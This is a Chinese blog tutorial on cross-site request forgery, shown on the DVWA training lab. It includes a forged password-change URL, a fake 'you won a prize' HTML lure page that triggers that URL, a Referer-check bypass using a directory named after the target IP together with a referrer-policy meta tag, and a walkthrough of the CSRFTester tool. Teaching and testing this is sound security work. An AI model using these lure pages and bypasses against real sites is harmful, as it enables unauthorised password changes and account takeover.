漏洞篇(CSRF跨站请求伪造)

文章详细阐述了CSRF(跨站请求伪造)的原理,包括其与XSS的区别,并通过DVWA平台展示了Low和Medium级别的CSRF攻击实例,包括构造URL、绕过Referer过滤的方法。此外,还介绍了使用CSRFTester进行自动化探测CSRF漏洞的步骤和目的。
摘要由CSDN通过智能技术生成

目录

一、CSRF 原理

1、CSRF 漏洞的定义

2、XSS 与 CSRF 的区别

3、CSRF 的简单理解

二、基于 DVWA 的 low 级别演示 CSRF 攻击 

1、查看源代码

2、构造 URL 链接

3、验证 CSRF 攻击 

4、构造恶意链接

5、短连接介绍

三、基于 DVWA 的 Medium 级别演示 CSRF 攻击

1、查看源代码

2、直接修改密码和通过其他页面提交请求的区别

3、绕过 Referer 过滤

四、使用 CSRFTester 进行自动化探测 CSRF 漏洞

1、探测的目的

2、自动化探测工具介绍


一、CSRF 原理

1、CSRF 漏洞的定义

CSRF(Cross-site request forgery,跨站请求伪造)也被称为 One Click Attack(单键攻击)或
者 Session Riding,通常缩写为 CSRF 或者 XSRF。
forgery [ ˈ f ɔː d ʒə ri] 伪造 ; Riding [ ˈ ra ɪ d ɪŋ ] 驾驭马匹;骑马
        
        
        

2、XSS 与 CSRF 的区别

1、XSS 利用用户对站点的信任,盗取 Cookie;
2、CSRF 通过伪装成受信任用户请求,利用站点对己经身份认证的信任,访问网站。
与 XSS 攻击相比,CSRF 攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范, 所以被认为比 XSS 更具危险性。

        

        

3、CSRF 的简单理解

假设用户已经保存某网站的登录信息,下次登录不需要认证,此时黑客构造一个访问该站点的链接并 添加如:修改密码、转账等操作的参数,用户点击链接后,黑客构造的参数被执行。这就是最简单的 CSRF 攻击方式。
CSRF 攻击流程图如下:
        

        

        

二、基于 DVWA 的 low 级别演示 CSRF 攻击 

1、查看源代码

         
代码中没有任何的过滤。 参数直接传递到了$pass_new 和$pass_conf 中并带入数据库中执行。但 是带入数据库中执行时通过 mysql 的函数对 sql 语句进行了过滤,不过并不影响我们正常的修改密码操 作。
        

2、构造 URL 链接

我们将参数和完整的 URL 拼接起来。伪造一个改用户密码的请求链接,如下:http://192.168.1.103//DVWA-master/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change         

注:只要用户访问这个链接,就可以把用户的密码改为 12345

        

3、验证 CSRF 攻击 

使用其他用户登录,访问我们构造的链接

如何诱导用户访问我们这个 CSRF 链接?
可以通过 XSS 漏洞,进行页面跳转,实现 CSRF 攻击。也可以通过短连接来伪装 URL 的明显特征。 当用户点了我们的 CSRF 链接后,就可以将用户的密码改成 123456 了。
        
        

4、构造恶意链接

构造恶意链接,诱导用户点击
└─# cd /var/www/html/
└─# vim csrf.html
#插入以下代码
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>恭喜你中奖了</title>
</head>
<body>
<a href=' http://192.168.1.105/DVWA
master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change
=Change '>点击这里领取百万大奖</a>
</body>
</html>
代码解释:用户点击领取百万大奖跳转到我们构造好的链接将密码修改回 password
        

5、短连接介绍

新浪短连接: http://sina.lt/
注:通过短连接来隐藏真实 URL 的方式必须是目标在公网提供服务的场景

        

        

三、基于 DVWA 的 Medium 级别演示 CSRF 攻击

1、查看源代码

         

代码中使用 stripos 函数对 HTTP Referer 进行了校验。
referer 推荐人
HTTP Referer 是 header 的一部分,当浏览器向 web 服务器发送请求的时候,一般会带上
Referer, 告诉服务器我是从哪个页面链接过来的 ,服务器基此可以获得一些信息用于处理。
在 PHP 中使用 $_SERVER['HTTP_REFERER'] 获取页面提交请求中的 Referer 值。
抓包查看 referer 内容效果:
        

         

例如:
<?php
if(stripos($_SERVER['HTTP_REFERER'], $_SERVER[ 'SERVER_NAME' ]) !== false)
{
        条件成功,说明此网址是从本网站,跳转过来的的。
}
else
{
        判断失败,说明此网址不是从本网站,跳转过来的。
}
?>

         

2、直接修改密码和通过其他页面提交请求的区别

        
抓取两种不同方式的 HTTP 请求
例 1:抓取正常修改密码的 HTTP 请求
        

         

Referer: http://192.168.1.105/DVWA-master/vulnerabilities/csrf/
注:抓完以后点击 Drop 丢弃请求,否则密码就修改成功了,我们还需要再次修改页面代码。
        
例 2:抓取通过其他页面传入参数的请求
        
http://192.168.1.53/csrf.html
        

        

Referer: http://192.168.1.53/csrf.html
注:这里也选择丢弃,我们只需记录 Referer 信息即可
        
对比 Referer 信息
原始:Referer: http://192.168.1.105/DVWA-master/vulnerabilities/csrf/
伪造:Referer: http://192.168.1.53/csrf.html
我们可以看到,伪造的请求并不符合代码中对 Referer 信息的过滤。在伪造的链接中找不到
$_SERVER[ 'SERVER_NAME' ] ,即找不到 192.168.1.105 这个 IP 地址
怎么样能让你的 url 中有一个 ip 地址或者域名?
        
        

3、绕过 Referer 过滤

我们通过修改网站目录结构,来让 Referer 满足过滤规则。
新建一个目录,目录的名字是: 192.168.1.105 。路径: /var/www/html/192.168.1.105
        
└─# mkdir 192.168.1.105
└─# mv csrf.html 192.168.1.105/
修改文件权限
└─# chown www-data:www-data 192.168.1.105/ -R
        
修改 Referer 策略
现在浏览器默认 Referrer Policy: strict-origin-when-cross-origin
使用该策略跳转到其它站点时 referer 会被降级处理,不携带 URI 部分,仅保留主机名。
预期:http://192.168.1.53/192.168.1.105/csrf.html
结果: http://192.168.1.53
        
手工指定 Referer 策略。
└─# vim 192.168.1.105/csrf.html
<html>
<head>
<meta name="referrer" content="no-referrer-when-downgrade">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>恭喜你中奖了</title>
</head>
<body>
<a href='http://192.168.1.105/DVWA
master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change
=Change' referrer="no-referrer-when-downgrade" >点击这里领取百万大奖</a>
</body>
</html>
1. 添加 meta 标签 name= referrer content= Referer 策略
2. 在需要指定 Referer 策略的标签中指定 referrer 策略,策略值为 content 中预设的策略。
        

访问:http://192.168.1.53/192.168.1.105/csrf.html  

密码修改成功。

 

        

四、使用 CSRFTester 进行自动化探测 CSRF 漏洞

1、探测的目的

探测的目的是:探测 web 应用程序是否具有防止 CSRF 的措施

如果 Web 应用程序的 HTTP 请求中没有对应的预防措施,那么很大程度上就确定存在 CSRF 漏洞。

2、自动化探测工具介绍

CSRFTester 是一款 CSRF 漏洞的测试工具。
CSRFTester 工具的测试原理大概是这样的, 使用代理抓取我们在浏览器中访问过的所有的连接以及 所有的表单等信息,通过在 CSRFTester 中修改相应的表单等信息,重新提交 ,相当于一次伪造客户端请 求,如果修改过的测试请求,成功被网站服务器接受,则说明存在 CSRF 漏洞,当然此款工具也可以被用 来进行 CSRF 攻击。
步骤如下
(1)、设置浏览器代理:127.0.0.1:8008
2)、登录 Web 应用程序,提交表单,在 CSRF 工具中修改表单内容,查看是否更改,如果更改表 单存在 CSRF 漏洞。
3)、生产 POC 代码。
        
扩展: POC 测试,即 Proof of Concept,是业界流行的针对客户具体应用的验证性测试,根
据用户对采用系统提出的性能要求和扩展需求的指标,在选用服务器上进行真实数据的运行,对承
载用户数据量和运行时间进行实际测算,并根据用户未来业务扩展的需求加大数据量以验证系统和
平台的承载能力和性能变化。
        
1、启动 CSRFTester
需要安装 JDK8
开始录制     
          
 

        

 提交一个表单

停止录制

         

         

修改表单内容

生成 html 文件

表单内容仅保留方框中我们提交的信息,其他内容一律删除,然后保存退出

         

访问此页面

表单内容成功提交
工具可以记录并修改表单内容然后生成页面 POC 文件,然后进行提交, 如果能够提交成功则存在
CSRF 漏洞。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值